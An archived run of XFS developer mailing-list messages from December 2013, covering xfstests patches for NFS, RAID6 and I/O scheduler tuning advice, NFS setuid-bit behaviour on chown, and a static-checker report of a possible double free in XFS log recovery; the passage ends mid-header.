Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1386313191 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142883 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 11/08/2013 12:46 AM, Christoph Hellwig wrote: > For historical reasons beyond my knowledge xfstests tries to abuse the > scratch device as test device for nfs and udf. Because not all test > have inherited the right usage of the _setup_testdir and _cleanup_testdir > helpers this leads to lots of unessecary test failures. > > Remove the special casing, which gets nfs down to a minimal number of > failures. > > Signed-off-by: Christoph Hellwig > > diff --git a/common/rc b/common/rc > index ea3af12..c64933a 100644 > --- a/common/rc > +++ b/common/rc > @@ -975,11 +975,7 @@ _require_scratch() > { > case "$FSTYP" in > nfs*) > - echo $SCRATCH_DEV | grep -q ":" > /dev/null 2>&1 > - if [ -z "$SCRATCH_DEV" -o "$?" != "0" ] > - then > - _notrun "this test requires a valid \$SCRATCH_DEV" > - fi > + _notrun "requires a scratch device" > ;; > *) > if [ -z "$SCRATCH_DEV" -o "`_is_block_dev $SCRATCH_DEV`" = "" ] > @@ -1773,100 +1769,6 @@ _full_platform_details() > echo "$os/$platform $host $kernel" > } Hi! Sorry for my post-commit "review". But for what purposes did you delete this scratch device handling for nfs? Now each test case that uses _require_scratch returns [not run]. It means most of the generic/ test cases. I think we should revert this part of code. How do you think? Thanks. From stan@hardwarefreak.com Fri Dec 6 02:59:01 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6A0637F3F for ; Fri, 6 Dec 2013 02:59:01 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5008B8F809C for ; Fri, 6 Dec 2013 00:59:01 -0800 (PST) X-ASG-Debug-ID: 1386320310-04cb6c537d56cc20001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id xyDHjAKNhfWqixLV for ; Fri, 06 Dec 2013 00:58:30 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 1666C6C123; Fri, 6 Dec 2013 02:58:30 -0600 (CST) Message-ID: <52A191BA.20800@hardwarefreak.com> Date: Fri, 06 Dec 2013 02:58:34 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.1.1 MIME-Version: 1.0 To: Mike Dacre , xfs@oss.sgi.com Subject: Re: Fwd: Sudden File System Corruption References: <52A03513.6030408@hardwarefreak.com> X-ASG-Orig-Subj: Re: Fwd: Sudden File System Corruption In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1386320310 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 12/5/2013 9:58 AM, Mike Dacre wrote: > On Thu, Dec 5, 2013 at 12:10 AM, Stan Hoeppner wrote: >> On 12/4/2013 8:55 PM, Mike Dacre wrote: >> ... > > Definitely RAID6 > > 2. Strip size? (eg 512KB) >> > 64KB Ok, so 64*14 = 896KB stripe. This seems pretty sane for a 14 spindle parity array and mixed workloads. > 4. BBU module? >> > Yes. iBBU, state optimal, 97% charged. > > 5. Is write cache enabled? >> >> Yes: Cahced IO and Write Back with BBU are enabled. I should have pointed you this this earlier: http://xfs.org/index.php/XFS_FAQ#Q:_What_information_should_I_include_when_reporting_a_problem.3F but we've got most of it already. We don't have your fstab mount options. Please provide that. ... > This is also attached as xfs_info.txt You're not aligning XFS to the RAID geometry (unless you're overriding in fstab). No alignment is good though for small (<896KB) file allocations but less than optimal for large streaming allocation writes. But it isn't a factor in the problems you reported. ... >> Good point. These happened while trying to ls. I am not sure why I can't > find them in the log, they printed out to the console as 'Input/Output' > errors, simply stating that the ls command failed. We look for SCSI IO errors preceding an XFS error as a causal indicator. I didn't see that here. You could have run into the bug Ben described earlier. I can't really speak to the console errors. >> With delaylog enabled, which I believe it is in RHEL/CentOS 6, a single >> big rm shouldn't kill the disks. But with the combination of other >> workloads it seems you may have been seeking the disks to death. >> > That is possible, workloads can get really high sometimes. I am not sure > how to control that without significantly impacting performance - I want a > single user to be able to use 98% IO capacity sometimes... but other times > I want the load to be split amongst many users. You can't control the seeking at the disks. You can only schedule workloads together that don't compete for seeks. And if you have one metadata or random read/write heavy workload, with this SATA RAID6 array, it will need exclusive access for the duration of execution, or the portion that does all the random IO. Otherwise other workloads running concurrently will crawl while competing for seek bandwidth. > Also, each user can > execute jobs simultaneously on 23 different computers, each acessing the > same drive via NFS. This is a great system most of the time, but sometimes > the workloads on the drive get really high. So it's a small compute cluster using NFS over Infiniband for shared file access to a low performance RAID6 array. The IO resource sharing is automatic. But AFAIK there's no easy way to enforce IO quotas on users or processes, if at all. You may simply not have sufficient IO to go around. Let's ponder that. Looking at the math, you currently have approximately 14*150=2100 seeks/sec capability with 14x 7.2k RPM data spindles. That's less than 100 seeks/sec per compute node, i.e. each node is getting about 2/3rd of the performance of a single SATA disk from this array. This simply isn't sufficient for servicing a 23 node cluster, unless all workloads are compute bound, and none IO/seek bound. Given the overload/crash that brought you to our attention, I'd say some of your workloads are obviously IO/seek bound. I'd say you probably need more/faster disks. Or you need to identify which jobs are IO/seek heavy and schedule them so they're not running concurrently. ... >> http://xfs.org/index.php/XFS_FAQ#Q:_I_want_to_tune_my_XFS_filesystems_for_.3Csomething.3E >> >> "As of kernel 3.2.12, the default i/o scheduler, CFQ, will defeat much >> of the parallelization in XFS." ... >> echo deadline > /sys/block/sda/queue/scheduler >> > Wow, this is huge, I can't believe I missed that. I have switched it to > noop now as we use write caching. I have been trying to figure out for a > while why I would keep getting timeouts when the NFS load was high. If you > have any other suggestions for how I can improve performance, I would > greatly appreciate it. This may not fix NFS timeouts entirely but it should help. If the NFS operations are seeking the disks to death you may still see timeouts. >> This one simple command line may help pretty dramatically, immediately, >> assuming your hardware array parameters aren't horribly wrong for your >> workloads, and your XFS alignment correctly matches the hardware geometry. >> > Great, thanks. Our workloads vary considerably as we are a biology > research lab, sometimes we do lots of seeks, other times we are almost > maxing out read or write speed with massively parallel processes all > accessing the disk at the same time. Do you use munin or something similar? Sample output: http://demo.munin-monitoring.org/munin-monitoring.org/demo.munin-monitoring.org/index.html#disk Project page: http://munin-monitoring.org/ It also has an NFS module and many others. The storage oriented metrics may be very helpful to you. You would install munin-node on the NFS server and all compute nodes, and munin on a collector/web server. This will allow you to cross reference client and server NFS loads. You can then cross reference the time in your PBS logs to see which users were running which jobs when IO spikes occur on the NFS server. You'll know exactly which workloads, or combination thereof, are causing IO spikes. -- Stan From stanislav.kholmanskikh@oracle.com Fri Dec 6 03:24:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7C3C529E05 for ; Fri, 6 Dec 2013 03:24:50 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5B1908F80BA for ; Fri, 6 Dec 2013 01:24:47 -0800 (PST) X-ASG-Debug-ID: 1386321856-04cb6c537e56d300001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id ousQwD6XxpFHomY1 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 06 Dec 2013 01:24:16 -0800 (PST) X-Barracuda-Envelope-From: stanislav.kholmanskikh@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rB69OF7Z022307 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 6 Dec 2013 09:24:16 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rB69OD42000391 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 6 Dec 2013 09:24:15 GMT Received: from abhmp0017.oracle.com (abhmp0017.oracle.com [141.146.116.23]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rB69ODTH015691 for ; Fri, 6 Dec 2013 09:24:13 GMT Received: from kholmanskikh.ru.oracle.com (/10.162.81.220) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Fri, 06 Dec 2013 01:24:12 -0800 From: Stanislav Kholmanskikh To: xfs@oss.sgi.com Cc: vasily.isaenko@oracle.com Subject: [PATCH] generic: require filesize to be greater than fs block size in generic/240 Date: Fri, 6 Dec 2013 13:24:05 +0400 X-ASG-Orig-Subj: [PATCH] generic: require filesize to be greater than fs block size in generic/240 Message-Id: <1386321845-9221-1-git-send-email-stanislav.kholmanskikh@oracle.com> X-Mailer: git-send-email 1.7.1 X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1386321856 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142886 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines If we execute generic/240 on a fs which has its fs block size greater than 64k (for example, NFS), this test will fail with: io_submit failed: Invalid argument This will happen because in src/aio-dio-regress/aiodio_sparse2.c this expression num_aio = filesize / step; will set num_aio to 0 and this means that no io_setup() will happen before calling io_submit(). Signed-off-by: Stanislav Kholmanskikh --- tests/generic/240 | 9 +++++++-- 1 files changed, 7 insertions(+), 2 deletions(-) diff --git a/tests/generic/240 b/tests/generic/240 index e26f495..acf0515 100755 --- a/tests/generic/240 +++ b/tests/generic/240 @@ -62,14 +62,19 @@ rm -f $TEST_DIR/aiodio_sparse logical_block_size=`_min_dio_alignment $TEST_DEV` fs_block_size=`stat -f $TEST_DIR | grep "Block size:" | awk '{print $3}'` +file_size=65536 if [ $fs_block_size -le $logical_block_size ]; then _notrun "fs block size must be larger than the device block size. fs block size: $fs_block_size, device block size: $logical_block_size" fi -# 2 threads, fs block sized writes, 64k filesize, stride through file by +if [ $file_size -lt $fs_block_size ]; then + file_size=$fs_block_size +fi + +# 2 threads, fs block sized writes, filesize, stride through file by # fs block size, start at logical block size offset -$AIO_TEST -i 2 -w $fs_block_size -s 64k -n $fs_block_size -o $logical_block_size "$TEST_DIR/aiodio_sparse" +$AIO_TEST -i 2 -w $fs_block_size -s $file_size -n $fs_block_size -o $logical_block_size "$TEST_DIR/aiodio_sparse" status=$? exit -- 1.7.1 From stanislav.kholmanskikh@oracle.com Fri Dec 6 03:40:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8C8C929E12 for ; Fri, 6 Dec 2013 03:40:20 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 33B99AC005 for ; Fri, 6 Dec 2013 01:40:17 -0800 (PST) X-ASG-Debug-ID: 1386322785-04bdf0132270450001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id t65hp12WhxtxzxKA (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 06 Dec 2013 01:39:46 -0800 (PST) X-Barracuda-Envelope-From: stanislav.kholmanskikh@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rB69djFk005474 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 6 Dec 2013 09:39:45 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rB69diia026313 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 6 Dec 2013 09:39:44 GMT Received: from abhmp0016.oracle.com (abhmp0016.oracle.com [141.146.116.22]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rB69dhiT002032 for ; Fri, 6 Dec 2013 09:39:43 GMT Received: from [10.162.81.220] (/10.162.81.220) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Fri, 06 Dec 2013 01:39:43 -0800 Message-ID: <52A19B5D.8040802@oracle.com> Date: Fri, 06 Dec 2013 13:39:41 +0400 From: Stanislav Kholmanskikh User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20131030 Thunderbird/17.0.10 MIME-Version: 1.0 To: xfs@oss.sgi.com CC: vasily.isaenko@oracle.com Subject: Re: [PATCH] generic: require filesize to be greater than fs block size in generic/240 References: <1386321845-9221-1-git-send-email-stanislav.kholmanskikh@oracle.com> X-ASG-Orig-Subj: Re: [PATCH] generic: require filesize to be greater than fs block size in generic/240 In-Reply-To: <1386321845-9221-1-git-send-email-stanislav.kholmanskikh@oracle.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1386322786 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142886 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On 12/06/2013 01:24 PM, Stanislav Kholmanskikh wrote: > If we execute generic/240 on a fs which has its fs block size greater > than 64k (for example, NFS), this test will fail with: > > io_submit failed: Invalid argument > > This will happen because in src/aio-dio-regress/aiodio_sparse2.c this > expression > > num_aio = filesize / step; > > will set num_aio to 0 and this means that no io_setup() will happen > before calling io_submit(). Actually, I mean "... no io_prep_pwrite() will happen before calling io_submit()". It's a typo. From stanislav.kholmanskikh@oracle.com Fri Dec 6 07:21:09 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 51A5C7F3F for ; Fri, 6 Dec 2013 07:21:09 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3CBB58F8070 for ; Fri, 6 Dec 2013 05:21:09 -0800 (PST) X-ASG-Debug-ID: 1386336064-04cbb0416957fa40001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id Lo8moVhLrSsrS4Cy (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 06 Dec 2013 05:21:05 -0800 (PST) X-Barracuda-Envelope-From: stanislav.kholmanskikh@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rB6DKcCE023711 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 6 Dec 2013 13:20:38 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rB6DKaeo017831 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 6 Dec 2013 13:20:37 GMT Received: from abhmp0007.oracle.com (abhmp0007.oracle.com [141.146.116.13]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rB6DKaZI023075; Fri, 6 Dec 2013 13:20:36 GMT Received: from [10.162.81.220] (/10.162.81.220) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Fri, 06 Dec 2013 05:20:36 -0800 Message-ID: <52A1CF22.106@oracle.com> Date: Fri, 06 Dec 2013 17:20:34 +0400 From: Stanislav Kholmanskikh User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20131030 Thunderbird/17.0.10 MIME-Version: 1.0 To: Christoph Hellwig CC: xfs@oss.sgi.com, linux-nfs@vger.kernel.org, Vasily Isaenko Subject: Re: nfs vs xfstests 193 References: <20131106115648.GA24804@infradead.org> X-ASG-Orig-Subj: Re: nfs vs xfstests 193 In-Reply-To: <20131106115648.GA24804@infradead.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1386336065 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142890 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 11/06/2013 03:56 PM, Christoph Hellwig wrote: > I've noticed that xfstests 193 fails when run over NFS talking to an > XFS-based Linux server. The test checks that we behave correctly > vs Posix 1003.1 for the various operations that end up in ->setattr. > > Without the no_root_squash export flag we're not even able to run > something resembling the test as we get permission problems all through > it, see the first attachment for details. > > With the root_squash export op we fail to clear the setuid/setgid > bits in various truncate and chown subtests, see the second attachment > for details. Hi! I've come across the same issue. But NFS server is backed by ext4 file system in my environment. The test case quotes POSIX: "If the specified file is a regular file, one or more of the S_IXUSR, S_IXGRP, or S_IXOTH bits of the file mode are set, and the process has appropriate privileges, it is implementation-defined whether the set-user-ID and set-group-ID bits are altered." So the difference that what we have now: between nfs: ~# touch file; chmod ug+s file; chmod u+x file; ls -l file; chown root file; ls -l file; rm -f file -rwsr-Sr-- 1 root root 0 Dec 6 04:49 file -rwsr-Sr-- 1 root root 0 Dec 6 04:49 file and ext3, ext4, xfs, btrfs: ~# touch file; chmod ug+s file; chmod u+x file; ls -l file; chown root file; ls -l file; rm -f file -rwsr-Sr-- 1 root root 0 Dec 6 04:49 file -rwxr-Sr-- 1 root root 0 Dec 6 04:49 file is not a violation of this POSIX statement. But It's just an "implementation-defined" behaviour. I suppose that the difference raises because of this part of code in fs/nfsd/vfs.c: /* Revoke setuid/setgid on chown */ if (!S_ISDIR(inode->i_mode) && (((iap->ia_valid & ATTR_UID) && !uid_eq(iap->ia_uid, inode->i_uid)) || ((iap->ia_valid & ATTR_GID) && !gid_eq(iap->ia_gid, inode->i_gid)))) { iap->ia_valid |= ATTR_KILL_PRIV; if (iap->ia_valid & ATTR_MODE) { /* we're setting mode too, just clear the s*id bits */ iap->ia_mode &= ~S_ISUID; if (iap->ia_mode & S_IXGRP) iap->ia_mode &= ~S_ISGID; } else { /* set ATTR_KILL_* bits and let VFS handle it */ iap->ia_valid |= (ATTR_KILL_SUID | ATTR_KILL_SGID); } } uid_eq() and gid_eq() checkings allow removal of s*id bits only if the owner/group of the file is changed during chown(). I.e. on nfs: ~# touch file; chmod ug+s file; chmod u+x file; ls -l file; chown bin file; ls -l file; rm -f file -rwsr-Sr-- 1 root root 0 Dec 6 05:02 file -rwxr-Sr-- 1 bin root 0 Dec 6 05:02 file Is it acceptable to change NFS kernel server behaviour by removal of !uid_eq(iap->ia_uid, inode->i_uid) and !gid_eq(iap->ia_gid, inode->i_gid) from the condition above? Just to make the behaviour more consistent between NFS and other "local" file systems as It was done by commit https://git.kernel.org/cgit/linux/kernel/git/stable/linux-stable.git/commit/?id=0953e620de0538cbd081f1b45126f6098112a598 Thank you! From dan.carpenter@oracle.com Fri Dec 6 09:49:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2ACD229DF9 for ; Fri, 6 Dec 2013 09:49:17 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 093F7304075 for ; Fri, 6 Dec 2013 07:49:16 -0800 (PST) X-ASG-Debug-ID: 1386344952-04cbb04167587530001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 5oF9kgxW1g8tZxGC (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Fri, 06 Dec 2013 07:49:12 -0800 (PST) X-Barracuda-Envelope-From: dan.carpenter@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rB6FnB8j015165 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 6 Dec 2013 15:49:11 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rB6Fn9rb025487 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 6 Dec 2013 15:49:10 GMT Received: from abhmp0007.oracle.com (abhmp0007.oracle.com [141.146.116.13]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rB6Fn9u1009446; Fri, 6 Dec 2013 15:49:09 GMT Received: from elgon.mountain (/41.202.233.179) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Fri, 06 Dec 2013 07:49:09 -0800 Date: Fri, 6 Dec 2013 18:49:06 +0300 From: Dan Carpenter To: tinguely@sgi.com Cc: xfs@oss.sgi.com Subject: re: xfs: free the list of recovery items on error Message-ID: <20131206154906.GA13568@elgon.mountain> X-ASG-Orig-Subj: re: xfs: free the list of recovery items on error MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1386344952 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, MARKETING_SUBJECT, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142892 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Hello Mark Tinguely, The patch 2a84108fe275: "xfs: free the list of recovery items on error" from Oct 2, 2013, leads to the following static checker warning: "fs/xfs/xfs_log_recover.c:3621 xlog_recover_process_data() warn: 'trans' was already freed." fs/xfs/xfs_log_recover.c 3589 switch (flags) { 3590 case XLOG_COMMIT_TRANS: 3591 error = xlog_recover_commit_trans(log, 3592 trans, pass); xlog_recover_commit_trans() frees trans on the success path and on some failure paths. 3593 break; 3594 case XLOG_UNMOUNT_TRANS: 3595 error = xlog_recover_unmount_trans(log, trans); 3596 break; 3597 case XLOG_WAS_CONT_TRANS: 3598 error = xlog_recover_add_to_cont_trans(log, 3599 trans, dp, 3600 be32_to_cpu(ohead->oh_len)); 3601 break; 3602 case XLOG_START_TRANS: 3603 xfs_warn(log->l_mp, "%s: bad transaction", 3604 __func__); 3605 ASSERT(0); 3606 error = XFS_ERROR(EIO); 3607 break; 3608 case 0: 3609 case XLOG_CONTINUE_TRANS: 3610 error = xlog_recover_add_to_trans(log, trans, 3611 dp, be32_to_cpu(ohead->oh_len)); 3612 break; 3613 default: 3614 xfs_warn(log->l_mp, "%s: bad flag 0x%x", 3615 __func__, flags); 3616 ASSERT(0); 3617 error = XFS_ERROR(EIO); 3618 break; 3619 } 3620 if (error) { 3621 xlog_recover_free_trans(trans); Double free? 3622 return error; 3623 } regards, dan carpenter From BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 6 10:07:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AB2B57F3F for ; Fri, 6 Dec 2013 10:07:05 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 487B6AC008 for ; Fri, 6 Dec 2013 08:07:02 -0800 (PST) X-ASG-Debug-ID: 1386346018-04cb6c537b57bb90001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id iGxG9MxAYC4kBXAJ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 06 Dec 2013 08:06:59 -0800 (PST) X-Barracuda-Envelope-From: BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Voxve-00079D-Ni; Fri, 06 Dec 2013 16:06:58 +0000 Date: Fri, 6 Dec 2013 08:06:58 -0800 From: Christoph Hellwig To: Stanislav Kholmanskikh Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: stop special casing nfs and udf Message-ID: <20131206160658.GA27329@infradead.org> X-ASG-Orig-Subj: Re: 